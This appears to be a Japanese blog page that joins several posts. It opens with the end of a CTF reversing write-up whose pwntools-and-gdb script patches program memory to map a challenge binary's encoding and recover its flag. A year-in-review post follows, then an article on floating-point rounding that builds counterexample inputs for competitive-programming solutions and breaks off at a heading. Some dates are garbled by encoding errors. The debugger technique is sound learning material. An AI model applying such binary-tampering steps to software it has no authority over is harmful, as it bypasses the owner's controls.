Alpaca{V...} ということなので、

Verilog can also be converted to C++.

からエスパーするに V3r1l0g... とかなのかな？と予想したりしました。当たっていたのでウケました。

なにやら上位 4 bits は固まって現れそう？というのと、それっぽい文章になっていそうというのからエスパーして、がちゃがちゃ試しました。 手作業で 40 分くらい（コードを修正しつつ）がんばりながら、フラグは手に入れたので一応満足です。

冷静になると、フラグの長さが既知で、各 byte ごとに並列してできるので、'!' * 32, '"' * 32, ... みたいにして探索すればいいんですよね（ということに、上記を書いてから「まともな解法わからんな〜」と考えながらようやく気づきました）。

from pwn import *

target = [
    0x345A7191,
    0xDCC4950A,
    0x8AD73F4E,
    0x6006DEEE,
    0xB474F6A4,
    0x9620574D,
    0x7FBA5668,
    0x45CB397E,
]


mask = [0x00000FF0, 0x000FF000, 0x0FF00000, 0xF000000F]
dec = [
    lambda x: x >> 4,
    lambda x: x >> 12,
    lambda x: x >> 20,
    lambda x: (x >> 28) | ((x & 0xF) << 4),
]


def get(words, i):
    return dec[i % 4](words[i // 4]) & 0xFF


table = [[0] * 256 for _ in range(32)]

for c in range(0x0, 0x100):
    print(f"current: {c:#04x}")
    p = process("gdb vcipher", shell=True)
    p.sendline(b"b *0x00005555555577c0")
    p.sendline(b"b *0x0000555555557a05")
    p.sendline(b"r")
    p.recvuntil(b"Input 32-character flag: ")
    p.sendline(b"0" * 32)

    p.recvuntil(b"Breakpoint 1,")
    p.recvline()
    p.sendline(b"p $rsp + 0x8")
    sp = int(p.recvline()[41:55].decode(), 16)
    p.sendline(f"x/a {hex(sp)}".encode())
    s = int(p.recvline()[35:49].decode(), 16)

    p.sendline(f"set *(long*){hex(s+0x00)} = {0x0101010101010101 * c}".encode())
    p.sendline(f"set *(long*){hex(s+0x08)} = {0x0101010101010101 * c}".encode())
    p.sendline(f"set *(long*){hex(s+0x10)} = {0x0101010101010101 * c}".encode())
    p.sendline(f"set *(long*){hex(s+0x18)} = {0x0101010101010101 * c}".encode())
    p.sendline(b"c")

    p.recvuntil(b"Breakpoint 2,")
    p.recvline()
    p.sendline(b"x/8wx $rbx")
    recv1 = p.recvline()[:-1]
    recv2 = p.recvline()[:-1]
    p.close()
    words1 = [*map(lambda x: int(x, 16), recv1.decode().split(":")[1][1:].split("\t"))]
    words2 = [*map(lambda x: int(x, 16), recv2.decode().split(":")[1][1:].split("\t"))]
    words = words1 + words2

    for i in range(32):
        table[i][c] = get(words, i)

for i in range(32):
    res = map(lambda x: f"{x:#04x}", table[i])
    print(f'[{i}]: {", ".join(res)}')

入力は適当に与えてしまって、後からデバッガでよい感じの入力を与えたことにすれば、空白文字なりなんなりの制限がある文字列も「与えた」ことにできるんですよね。というので、そういうのを書きました。

どうやら 0x80 以上の byte を与えたときは全単射じゃないっぽそうでしたが、それ未満では下記のような規則になっていそうでした。

0x00: {9,8,b,a,d,c,f,e,1,0,3,2,5,4,7,6}{b,9,f,d,3,1,7,5}
0x01: {7,6,5,4,3,2,1,0,f,e,d,c,b,a,9,8}{f,d,b,9,7,5,3,1}
0x02: {a,b,8,9,e,f,c,d,2,3,0,1,6,7,4,5}{5,7,1,3,d,f,9,b}
0x03: {d,c,f,e,9,8,b,a,5,4,7,6,1,0,3,2}{1,3,5,7,9,b,d,f}
0x04: {9,8,b,a,d,c,f,e,1,0,3,2,5,4,7,6}{6,4,2,0,e,c,a,8}
0x05: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{b,9,f,d,3,1,7,5}
0x06: {3,2,1,0,7,6,5,4,b,a,9,8,f,e,d,c}{a,8,e,c,2,0,6,4}
0x07: {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}{1,3,5,7,9,b,d,f}
0x08: {9,8,b,a,d,c,f,e,1,0,3,2,5,4,7,6}{2,0,6,4,a,8,e,c}
0x09: {9,8,b,a,d,c,f,e,1,0,3,2,5,4,7,6}{7,5,3,1,f,d,b,9}
0x0a: {c,d,e,f,8,9,a,b,4,5,6,7,0,1,2,3}{f,d,b,9,7,5,3,1}
0x0b: {3,2,1,0,7,6,5,4,b,a,9,8,f,e,d,c}{0,2,4,6,8,a,c,e}
0x0c: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{e,c,a,8,6,4,2,0}
0x0d: {a,b,8,9,e,f,c,d,2,3,0,1,6,7,4,5}{3,1,7,5,b,9,f,d}
0x0e: {6,7,4,5,2,3,0,1,e,f,c,d,a,b,8,9}{4,6,0,2,c,e,8,a}
0x0f: {6,7,4,5,2,3,0,1,e,f,c,d,a,b,8,9}{0,2,4,6,8,a,c,e}
0x10: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{a,8,e,c,2,0,6,4}
0x11: {a,b,8,9,e,f,c,d,2,3,0,1,6,7,4,5}{f,d,b,9,7,5,3,1}
0x12: {f,e,d,c,b,a,9,8,7,6,5,4,3,2,1,0}{9,b,d,f,1,3,5,7}
0x13: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{f,d,b,9,7,5,3,1}
0x14: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{6,4,2,0,e,c,a,8}
0x15: {b,a,9,8,f,e,d,c,3,2,1,0,7,6,5,4}{b,9,f,d,3,1,7,5}
0x16: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{e,c,a,8,6,4,2,0}
0x17: {b,a,9,8,f,e,d,c,3,2,1,0,7,6,5,4}{f,d,b,9,7,5,3,1}
0x18: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{2,0,6,4,a,8,e,c}
0x19: {c,d,e,f,8,9,a,b,4,5,6,7,0,1,2,3}{7,5,3,1,f,d,b,9}
0x1a: {2,3,0,1,6,7,4,5,a,b,8,9,e,f,c,d}{3,1,7,5,b,9,f,d}
0x1b: {e,f,c,d,a,b,8,9,6,7,4,5,2,3,0,1}{f,d,b,9,7,5,3,1}
0x1c: {7,6,5,4,3,2,1,0,f,e,d,c,b,a,9,8}{f,d,b,9,7,5,3,1}
0x1d: {d,c,f,e,9,8,b,a,5,4,7,6,1,0,3,2}{3,1,7,5,b,9,f,d}
0x1e: {b,a,9,8,f,e,d,c,3,2,1,0,7,6,5,4}{8,a,c,e,0,2,4,6}
0x1f: {1,0,3,2,5,4,7,6,9,8,b,a,d,c,f,e}{e,c,a,8,6,4,2,0}

たとえば、0x02: {a,b,8,9,e,f,c,d,2,3,0,1,6,7,4,5}{5,7,1,3,d,f,9,b} は、「添字が [2] の byte は 00 のとき a5 が返ってくる」「01 のとき a7」「07 のとき ab」「08 のとき b5」... のような意味で書いています。45 が返ってくるのは 70 のときで、これは p のことですね。

結局この表はなんですか？（？）ちゃんと †rev† すればわかる感じですか？ 特に Verilog まわりのことはよくわかっていません。

こういう表になる前提であれば、そもそも 00 01 02 03 ... 07 08 10 18 20 ... 70 78 の 23 通りだけ試せばよさそうな気がしてきました（実際にはフラグに特殊文字は入らなさそうだからちょっと減りそう）。

所感

rev は、（まだ体系立てた勉強をしていないせいもあるかもですが）なんというか ad hoc っぽい気持ちになるというか、「今回はそういう簡単なエンコードをされていたからできたけど、そうじゃなかったらどうしようもなくない？」みたいな気持ちになります。 （解きようがない問題は出題されない気もしますが？）

と思ったんですが、そもそも自分がやったのは rev ではなくて実験とエスパーな気がしてきました。（r2 ã‚„ gdb などで多少の assembly を読んでいるとはいえ）decompile しようとしたりせず雰囲気でやっているのが微妙そうです。 あまり長くない時間のコンテストで答えを出す前提だと仕方なさもありそうですが、復習はした方がよさそうだなと思いました。

pwn だと ROP なり ret2whatever なりの概ね体系立った「まぁざっくりこういう方針のことをやるよね」というのがあると思うんですが、rev だとどういう感じなんですかね。デバッガを使いつつ実験しながら脳筋でやるのは正統派ではなさそう（というか正統派でなくてほしい）みたいな気持ちはあります。時には必要ではありそうだとは思いつつですが。

とりあえず、(小さめの整数)/(それなりの整数) を見れたのでうれしい気持ちになりました。

おわり

おわりです。

*1:GDB で見た方が楽という説もあったかも？

今年のえびちゃん 2024

今年もやってみます

rsk0315.hatenablog.com

3–11 月くらいの記憶がほぼありません。

今年書いたもの

今年はあんまり書いてないですね。

浮動小数点数関連

• 浮動小数点型の算術とお近づきになりたい人向けの記事
• 誤差に対して祈ることしかできない人かわいそう

お近づきのやつ、今年なんだという気持ちになりました。もう大昔な気がしていたので。

ポインタ関連

• ポインタ系データ構造を書きたいな
• B-tree を書きました

気まぐれアルゴリズム

• √w-bit の入力に対する定数時間 rank/select
• 区間平均値に関する典型の例

rank/select は簡潔データ構造の文脈で使おうとしていました。 簡潔はあまり人気ないですし、競プロ文脈に沿わないがちというのは承知していつつ、仲よくはなりたいんですよね。

紹介系

• 抽象化ライブラリの第一歩としての二分探索
• 線形篩で遊ぼう
• ABC 357 C 埋め込みに関して

CTF

• write-up: AlpacaHack Round 7 (Web)

今年手に入れたもの

特に写真はないです。

• MHC の T シャツ
• Getting Over It のマグカップ
  • クリアすると販売ページに行けるやつ
• Binary Hacks Rebooted
• えびふらいのしっぽちゃんのカチューシャ
• 環ちゃんのアクキー

競プロ以外

おいしい

パフェまた食べたい pic.twitter.com/TJgqRrk4Ot

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´2月4æ—¥

肉寿司ちゃん〜 pic.twitter.com/zKcdgkKznn

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´2月23æ—¥

えびちゃんね、前からこれ食べたかったからね、これ食べにきたのー pic.twitter.com/YnJWZ9ozuG

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´3月16æ—¥

フォロヮとごはん〜 pic.twitter.com/zcAiAlHVjQ

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´4月14æ—¥

ローストビーフ丼（ミニサイズ）ちゃん pic.twitter.com/nWvlsLMcwY

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´5月1æ—¥

やっぱりピザはエビカレードリアちゃんしか勝たないねえ pic.twitter.com/PFI2PNaFxM

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´5月4æ—¥

ソフトクリーム食べたよ〜 pic.twitter.com/sbzcrFT7go

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´5月5æ—¥

フォロヮとなかよく pic.twitter.com/XZS2Ui7vr4

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´5月6æ—¥

サーモンレアカツ丼ちゃん pic.twitter.com/dRFfw8XsRX

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´6月23æ—¥

冷やしラーメン食べてたんだけど、半分くらい食べたところで ““？？？”” が発掘されて困った pic.twitter.com/P3MCaHynnq

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´7月12æ—¥

？？？

んまんま pic.twitter.com/tuZOKNVqLf

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´10月13æ—¥

おいしかったよー pic.twitter.com/0dBdGH4xOe

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´11月10æ—¥

フォロヮとデート（だったらいいな〜と思いながらひとりでごはん）（おいしかった〜💕） pic.twitter.com/KnnNBbQdHc

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´11月23æ—¥

えびちゃんの一番好きなお菓子〜 pic.twitter.com/OcvmJoQE9l

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´5月24æ—¥

霜だたみちゃんを定期的に買うようになりました。

緩衝材ちゃん届いたよー pic.twitter.com/u3mlQ4JYdh

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2024å¹´9月7æ—¥

緩衝材が届いたというのは基本的に霜だたみちゃんのことです。

おさんぽと称しておいしいものを食べに行ったり、昔食べて好きだったものをオンラインショップで買ったりすることが増えました。 たまに言っている「案内板となかよく」というのは、知らない土地を（特にスマホでは調べずに）おさんぽするのを指しています。

たのしい

最近 CTF を始めました。主には pwn とかですが、低レイヤーの部分でおまじない扱いしている部分と仲よくなるのにちょうどいいかもしれません。

あと直近はやっていないですが、ラテン語を読めるようになりたいなと思っていた期間もありました。 Introductio in analysin infinitorum というのを読んだりしていました。

One Word Search (OWS) が始まったのも今年なんですね、早く 20 秒を切れるようになりたいです。

かなしい

この歳になると、概ねどうにもならない過去のことを思ってかなしくなることがたくさんあります。

• お世話になった人が遠くに行ってしまったこと
• いつまでもあると思っていたインターネットコンテンツが消えてしまったこと
• 応援していた人が活動をやめてしまったこと
• お気に入りの商品が売られなくなったり好みでない風に変わってしまったこと
• 昔の自分が知っていたはずのことを思い出せなくなっていること
• etc.

これからもかなしいね〜と思いながら生き続けるんだろうなと思います。

会いたい人には会えるうちに会っておいた方がいいですね。会っておいたところで結局はかなしい思いをすることになるというのはそうなんですが。 上半期は何人かのフォロヮに新しく会ったのですが、会っておきたいフォロヮはまだいます。

おわり

来年もよろしくおねがいします。

来年もたのしいことをしながら、たのしい気持ちで生きていられたらいいなという気持ちです。

誤差に対して祈ることしかできない人かわいそう

誤差が関連する問題で人々が文句を言っているたびにこういう気持ちになります。

↓ かわいそうシリーズと呼んでいるもの ↓

rsk0315.hatenablog.com

rsk0315.hatenablog.com

まえがき

「誤差 WA」でツイート検索をすると、「WA が出たが誤差が原因か？」「たぶん誤差のせいだろう」「どういうときに落ちるのかわかんない」のようなふわっとした感覚の人がたくさん見つかりますね。

整数のオーバーフローなどは「とりあえず大きい値を入れて確かめてみる」みたいなやり方があるので、（オーバーフローという概念を知ってさえいれば）修正の余地はあります。 一方、浮動小数点数の誤差に関しては「とりあえず闇雲にがちゃがちゃやってみても誤差で落ちるケースは見当たらない」「本当に誤差のせいか？ 考察で別途なにか間違っているのでは？」のような気持ちになる人が多そうです。

競プロをやっていて「計算量なんて非本質」「オーバーフローするのは整数型が悪い」などと言っている初心者がいたら「まだまだ経験が浅いんだねえ」という気持ちになると思いますが、誤差の話になると経験が浅い側になってしまう人が多数派な気がします*1。

この記事を通して、「こういうことをすれば誤差が大きくなるケースを作れるのか〜」ということをわかってもらって、自分で解決できる人が増えたらうれしいな〜という気持ちです。

知識がまだ十分でない人は、下記の記事に目を通してみることをおすすめします。 証明の数式パートを全部追うみたいなことをする必要はなくて、トピックをざっと読み流すくらいでもいいかなと思います。

rsk0315.hatenablog.com

記法

上記の記事からの流用ですが、次の表にあるものたちを使います。

丸めに関しては、いわゆる double のデフォルトの挙動（53-bit 仮数部、roundTiesToEven）を前提とします。

記法	意味	例
$\roundp x$	実数 $x$ を浮動小数点数に丸めたもの	$\roundp 1 = 1$, $\roundp{0.1} = \tfrac1{10}(1+2^{-54})$
$x\oplus y$	浮動小数点数 $x$, $y$ に対して $\roundp{x+y}$	$1\oplus 2 = 3$, $\roundp{0.1}+\roundp{0.2} = \tfrac1{10}(3+2^{-51})$
$x\ominus y$	浮動小数点数 $x$, $y$ に対して $\roundp{x-y}$	$1\ominus 2 = -1$, $\roundp{0.3}-\roundp{0.2} = \tfrac1{10}(1-2^{-52})$
$x\otimes y$	浮動小数点数 $x$, $y$ に対して $\roundp{x\times y}$	$2\otimes 3 = 6$, $\roundp{0.1}\otimes\roundp{0.2} = \tfrac2{100}(1+2^{-50})$
$x\oslash y$	浮動小数点数 $x$, $y$ に対して $\roundp{x\div y}$	$12\oslash 3 = 4$, $\roundp{0.3}\oslash\roundp{0.1} = 3+2^{-51}$
$\hfloor x$	正の実数 $x$ に対して、整数 $e$ を用いて $2^e=y\le x$ と書ける $y$ の最大値	$\hfloor 1=1$, $\hfloor{0.3} = 0.25$, $\hfloor{100}=64$

特に、数式中でたとえば $0.1$ のように書いたときに暗黙に丸めの対象にすることはせず、$0.1 = 0.1000{\dots}000{\dots}$ を意味します。丸めを行う際は $\roundp{\bullet}$ を用いて明示します。

例として、上記で挙げた $\roundp{0.1} = \tfrac1{10}(1+2^{-54})$ という等式が、計算機側の解釈と一致していること（すなわち、えびちゃんが適当な値を導入しているわけではないこと）を確かめておいてみましょう。

>>> from decimal import Decimal, getcontext
>>> getcontext().prec = 100
>>> Decimal(0.1)
Decimal('0.1000000000000000055511151231257827021181583404541015625')
>>> (1+Decimal(2)**-54)/10
Decimal('0.1000000000000000055511151231257827021181583404541015625')

warning: ここでは $\roundp{0.1}$ が（というか 2 進の浮動小数点数が）十分な桁数の 10 進法で表せることなどから Decimal を使って確認しているだけで、「Decimal を使えばどんな文脈でも正確な検証ができる」などとは解釈しないでください。

おそらく初心者が最初に意識すべきことは下記なんじゃないかなと思っています。

• 浮動小数点数*2の演算には再現性がある。
  • 入力や丸めモードさえ同じなら、「実行するたびに誤差が出たり出なかったりする」「誤差の大きさが都度変わる」のようなことにはならない。
• 誤差は意味不明なものではなく、前提を整理すれば数式で扱える対象になる。

実数の演算との差異

ある性質が実数の演算で成り立つからといって、浮動小数点数の演算で成り立つとは限りません。 たとえば、$y\ne 0$ に対して $\tfrac xy\times y=x$ ですが、$(x\oslash y)\otimes y\ne x$ となることはあります。 よくある例としては、$y$ の部分が（それぞれ異なる）長めの式で、「分母の $y$ と掛けている方の $y$ が一致するときは打ち消し合ってくれるだろう」と期待するも、実際には $x$ からずれた値になってしまうというものです。

小さい値の例としては、次のようなものです。

$$ \begin{aligned} (1\oslash 49)\otimes 49 &= 1 - 2^{-53} \lt 1, \\ (3\oslash 187)\otimes 187 &= 3 + 2^{-51} \gt 3. \end{aligned} $$

また、ある程度大きい値の例としては、次のようなものです。

$$ \begin{aligned} (10^9\oslash 29)\otimes 29 &= 10^9 - 2^{-23} \lt 10^9, \\ (10^9\oslash 45)\otimes 45 &= 10^9 + 2^{-23} \gt 10^9. \end{aligned} $$

これだけだと相対誤差は十分小さい（と見なせる問題設定が多い）ので耐えますが、hack の際にはこうした入力が役に立ちそうです。 なお、分子の $x$ を固定して $y$ を全探索すると簡単に見つけることができます。

なお、このテクニック*3自体は double に限らず long double ã‚„ Decimal などに対しても有効です。型によって誤差が出る入力が異なるので、狙いたい解法に応じて構築する必要はあります。仮数部が 24-bit, 53-bit, 64-bit, 113-bit の 2 進の浮動小数点型に関しては、いずれも下記が成り立ちます*4。

• $(1\oslash 3027)\otimes 3027\lt 1$,
• $(3\oslash 10767)\otimes 10767\gt 3$.

あるいは、上記 4 つに加え、Python の Decimal のデフォルトの設定値（精度や丸めモード）において、いずれも下記が成り立ちます。

• $(1\oslash 7814)\otimes 7814\lt 1$,
  • float: $1-2^{-24}$
  • double: $1-2^{-53}$
  • long double (64-bit): $1-2^{-64}$
  • long double (113-bit): $1-2^{-113}$
  • Decimal: $1-2\cdot 10^{-28}$
• $(3\oslash 175337)\otimes 175337\gt 3$.
  • float: $3+2^{-22}$
  • double: $3+2^{-51}$
  • long double (64-bit): $3+2^{-62}$
  • long double (113-bit): $3+2^{-111}$
  • Decimal: $3+10^{-27}$

一般に、実数 $x\ne0$ を丸めたときの誤差は次のように評価できます。

$$ \begin{aligned} |{x-\roundp x}| &\le \hfloor{|x|}\cdot 2^{-53} \end{aligned} $$

上記の例を評価してみます。 $$ \begin{aligned} |\tfrac{10^9}{29}-(10^9\oslash 29)| &\le \hfloor{\tfrac{10^9}{29}}\cdot 2^{-53} = 2^{25-53} \\ |(\tfrac{10^9}{29}\cdot 29)-( (10^9\oslash 29)\cdot 29)| &\le 29\cdot 2^{25-53} \end{aligned} $$ および $$ \begin{aligned} |( (10^9\oslash 29)\cdot 29) - ( (10^9\oslash 29)\otimes 29)| &\le \hfloor{(10^9\oslash 29)\cdot 29}\cdot 2^{-53} = 2^{29-53} \end{aligned} $$ から、三角不等式より $$ |10^9 - ( (10^9\oslash 29)\otimes 29)| \le (29\cdot 2^{25}+2^{29})\cdot 2^{-53} \approx 1.67\times 10^{-7} $$ となります。$2^{-23} \approx 1.19\times 10^{-7}$ なので、この範囲に収まっていることや、上界と概ね同じ程度の誤差が出ていることが確かめられます。

exercise: $10^9$ 以下の正整数 $x$, $y$ であって、$|x - ( (x\oslash y)\otimes y)|$ が $2^{-23}$ より大きいものは存在するか？ あれば例を構築し、なければこれが最大であることを示せ。

よくある例の撃墜

note: AC と思われているコードに対して、AC とならない入力を与えることを「hack」「challenge」「撃墜」などと呼びます。Codeforces や Topcoder に由来する用語です。

一次関数 (1)

相異なる 2 点 $(x_0, y_0)$, $(x_1, y_1)$ を通る一次関数 $$ y = \frac{y_1-y_0}{x_1-x_0}\cdot (x-x_0) + y_0 $$ を考える。この直線の $x=0$ での $y$ 座標 $$ y = \frac{y_1-y_0}{x_1-x_0}\cdot (-x_0) + y_0 $$ を求めよ。入力は $10^9$ 以下の正整数で、許容誤差は $10^{-9}$ とする。

use proconio::input;
fn main() {
    input! {
        (x0, y0, x1, y1): (f64, f64, f64, f64),
    }
    let res = ((y1 - y0) / (x1 - x0)) * (-x0) + y0;
    println!("{res}");
}

計算しているものは $$ ( ( (y_1\ominus y_0)\oslash(x_1\ominus x_0) )\otimes (-x_0) ) \oplus y_0 $$ ですが、入力は $10^9$ 以下の整数なので、$y_1\ominus y_0 = y_1-y_0$ や $x_1\ominus x_0 = x_1-x_0$ が成り立ちます（演算子一つ一つを意識するのが大事でしょう）。

先の議論から、$(x_1-x_0)$ で割ってから $(-x_0)$ を掛ける部分を攻められそうです。 簡単のため、$y_1-y_0 = y_0$, $x_1-x_0 = x_0$ としてしまいましょう。すなわち、$(x_1, y_1) = (2x_0, 2y_0)$ です。 誤差を大きくするような $x_0$, $y_0$ を $5\cdot 10^8$ 以下の正整数の範囲で探せばよいです。

このコードは、たとえば下記のケースで撃墜することができます。

• $(x_0, y_0) = (45, 500000000)$
• $(x_0, y_0) = (29, 500000000)$

それぞれ $-2^{-24}$ と $2^{-24}$ を出力しますが、$2^{-24} \approx 5.96\times 10^{-8}$ なので許容誤差を $60$ 倍ほど上回っています。 前者のケースでは、$(500000000\oslash 45)\otimes 45 = 500000000 + 2^{-24}$ として誤差を出させて、$500000000$ から引くことで、誤差の $2^{-24}$ の部分を主要項にさせています。

一般に、実数 $x$, $y$ に対して、$(\roundp x, \roundp y)\ne (x, y)$ かつ $\roundp x\approx \roundp y$ のとき、$\roundp x\ominus \roundp y$ は $x-y$ と大きく異なり得ます*5。 これによって大きな誤差が出る（誤差項だった部分が主要項になってしまう）ことを、桁落ち や catastrophic cancellation などと呼びます。

また、真の値は $1$ 以上であってほしいような状況についても考えてみます。 $x_1-x_0 = x_0$ および $y_1-y_0 = y_0-1$ としてみましょう。すなわち $(x_1, y_1) = (2x_0, 2y_0-1)$ です。 今回は $5\cdot 10^8-1$ 以下でいつものペアを探す必要がありますが、やはり簡単に見つかります。

$$ \begin{aligned} (499999999\oslash 11)\otimes 11 &= 499999999 - 2^{-24} \lt 499999999, \\ (499999999\oslash 39)\otimes 39 &= 499999999 + 2^{-24} \gt 499999999. \end{aligned} $$

これを用いて、次のケースで撃墜できます。

• $(x_0, y_0) = (11, 500000000)$
• $(x_0, y_0) = (39, 500000000)$

それぞれ $1-2^{-24}$ と $1+2^{-24}$ を出力します。

一次関数 (2)

相異なる 2 点 $(x_0, y_0)$, $(x_1, y_1)$ を通る一次関数の $x=0$ での $y$ 座標 $$ \begin{aligned} y &= \frac{y_1-y_0}{x_1-x_0}\cdot (-x_0) + y_0 \\ &= \frac{(-x_0)(y_1-y_0)+(x_1-x_0)y_0}{x_1-x_0} \\ &= \frac{x_0y_1-x_1y_0}{x_0-x_1} \end{aligned} $$ を求めよ。入力は $10^9$ 以下の正整数で、許容誤差は $10^{-9}$ とする。

※ 真の値としては、一次関数 (1) と同じものである。

use proconio::input;

fn main() {
    input! {
        (x0, y0, x1, y1): (f64, f64, f64, f64),
    }
    let res = (x0 * y1 - x1 * y0) / (x0 - x1);
    println!("{res}");
}

計算しているものは下記です。 $$ ( (x_0\otimes y_1)\ominus (x_1\otimes y_0) )\oslash (x_0\ominus x_1). $$

大前提として、$2^{53}+1 \approx 9.00\times 10^{15}$ 以上の整数は、double で正確に表せるとは限りません。$x_0y_1$ は $10^{18}$ 程度まで大きくできるので、それをうまく使います*6。

方針 1-1

簡単な例として、$x_0\otimes y_1 = x_1\otimes y_0$ となるものを考えます。 すなわち、同じ浮動小数点数に丸められるような異なる整数を持ってきたいです。

$2^{53}+1$ 以上の整数を素因数分解して、$10^9$ を超える素因数を持たないものを探します。その中から、同じ浮動小数点数に丸められるペアを探します。

$$ \begin{aligned} 2^{53}+12 = 9007199254741004 &= 2^2\times 967\times 3967\times 4547\times 129097, \\ 2^{53}+13 = 9007199254741005 &= 3^3\times 5\times 47\times 56311\times 25209539. \end{aligned} $$

適当に素因数を選び、次のようにすることができます。

$$ \begin{aligned} 2^{53}+12 &= 15344356\times587004059 \\ &= 17587796\times512127799 \\ &= 18037949\times499347196 \\ &= 36075898\times249673598 \\ &= 72151796\times124836799, \\ 2^{53}+13 &= 13233085\times680657553 \\ &= 23819553\times378143085 \\ &= 25209539\times357293295 \\ &= 39699255\times226885851 \\ &= 71458659\times126047695 \\ &= 75628617\times119097765. \end{aligned} $$

ということで、$(x_0y_1, x_1y_0) = (2^{53}+13, 2^{53}+12)$ とすればよいです。 また、分子（の真の値）は $1$ で固定なので、分母（の真の値）の絶対値はなるべく小さい方が（誤差を大きくする観点では）うれしい気持ちになります。

$$ (x_0, y_0, x_1, y_1) = (71458659, 124836799, 72151796, 126047695) $$

とすると、真の値は $-\tfrac1{693137} \approx -1.44\times 10^{-6}$ となります。

方針 1-2

2^55くらい以上の整数xの多くで、xとx-1を倍精度浮動小数点数で表すと等しくなるので、ad-bc=1となる(a,b,c,d)を見つければ十分で、フィボナッチ数列とSB木の気持ちになるとはい。https://t.co/DruYqoYJwa

— hidesugar(7) (@hidesugar2) 2023å¹´7月1æ—¥

※ SB 木 = Stern–Brocot tree

$(F_0, F_1, \dots, F_n, \dots) = (0, 1, \dots, F_{n-2}+F_{n-1}, \dots)$ として定義される Fibonacci 数列を考えます。 任意の $i\ge 0$ に対し、$(a, b, c, d) = (F_{i+3}, F_{i+2}, F_{i+1}, F_i)$ として $ad-bc = 1$ が成り立ちます。

たとえば $F_{39}\otimes F_{42} = F_{40}\otimes F_{41}$ かつ $F_{42}\le 10^9$ となるので、これを使えます。

$$ (x_0, y_0, x_1, y_1) = (F_{39}, F_{41}, F_{40}, F_{42}) $$

とすると、絶対誤差は $\tfrac1{F_{38}} \approx 2.56 \times 10^{-8}$ となります。

方針 2

実際には $x_0\otimes y_1 = x_1\otimes y_0$ である必要はありません。ある程度近い値であれば catastrophic cancellation でどうにでもなりそうです。

基本的には方針 1-1 でやったのと同様の考え方で進めます。 範囲を固定し、その中の各整数を 2 整数の積として表す方法を全部試し、誤差が大きくなる組を探しました*7。

範囲としては、$[5\cdot10^{17}-2\cdot10^5\lldot 5\cdot 10^{17}+2\cdot10^5]$ などを試しました。

そもそも、「許容誤差 $10^{-9}$」と見て「普通に計算してたらその程度の誤差に収まるでしょ？」とか「実際丸め誤差なんて $10^{-16}$ くらいでしょ？」と思ったり、「WA が出るときってせいぜい $10^{-7}$ くらいの誤差が出てるんでしょ？」とぼんやり思っている人が多いことでしょう。そういう人が次のケースたちを見て卒倒してくれたらうれしいです。

$$ \begin{aligned} (x_0, y_0, x_1, y_1)_A &= (707085728, 707127834, 707085729, 707127835), \\ (x_0, y_0, x_1, y_1)_R &= (962214805, 931734628, 965940272, 935342083), \\ (x_0, y_0, x_1, y_1)_M &= (999999990, 500000004, 999999992, 500000005). \end{aligned} $$

添字	真の値	計算結果	絶対誤差	相対誤差
$A$	$42106$	$42048$	$58$	$\approx 1.38\times10^{-3}$
$R$	$\approx 2.68\times10^{-8}$	$\approx 3.44\times 10^{-5}$	$\approx 3.41\times 10^{-5}$	$\approx 127$
$M$	$9$	$32$	$23$	$\approx 2.56$

見つかったもののうち、絶対誤差 ($A$)、相対誤差 ($R$)、それらの最小値 ($M$) が一番大きかったものをそれぞれ載せました。（見つかり次第更新します）

ざっくり見積もり的には、$\hfloor{10^{18}}\cdot 2^{-53} = 64$ くらいの絶対誤差は出そうなので、これくらいの大きさの実例が出せれば満足してもいいのではないでしょうか（？）

また、$(x_i, y_i) \approx (10^9-\varepsilon, 5\cdot 10^8+\varepsilon)$ の範囲でも、特に考えずに探索しました。 次のケースで絶対誤差 $64$ を達成できました。相対誤差は小さかったので、hack には使えなさそうです。 $$ (x_0, y_0, x_1, y_1) = (999999000, 500000032, 999999001, 500000004). $$

一次関数 (3)

相異なる 2 点 $(x_0, y_0)$, $(x_1, y_1)$ を通る一次関数の $x=0$ での $y$ 座標 $$ \begin{aligned} y &= \frac{(y_1-y_0)(-x_0)}{x_1-x_0} + y_0 \end{aligned} $$ を求めよ。入力は $10^9$ 以下の正整数で、許容誤差は $10^{-9}$ とする。

※ 真の値としては、一次関数 (1), (2) と同じものである。

use proconio::input;

fn main() {
    input! {
        (x0, y0, x1, y1): (f64, f64, f64, f64),
    }
    let res = ((y1 - y0) * (-x0)) / (x1 - x0) + y0;
    println!("{res}");
}

今回は、(1) の解法で $(y_1-y_0)\otimes(-x_0)$ の方を先に計算するバージョンです。 $$ ( ( (y_1\ominus y_0)\otimes (-x_0) )\oslash (x_1\ominus x_0) )\oplus y_0. $$

以前見た $$ 71458659 \otimes 126047695 = 72151796 \otimes 124836799 $$ を利用してみましょう。たとえば、下記を計算させるように仕向けたいです。 $$ (71458659\otimes -126047695)\oslash 72151796 \oplus 124836799 $$ すなわち、下記を与えればよいです。 $$ (x_0, y_0, x_1, y_1) = (126047695, 124836799, 198199491, 196295458). $$ 他のケースも使えるとは思います（特に試していません。読者のおてて動かし用に残しておきます）。

分散

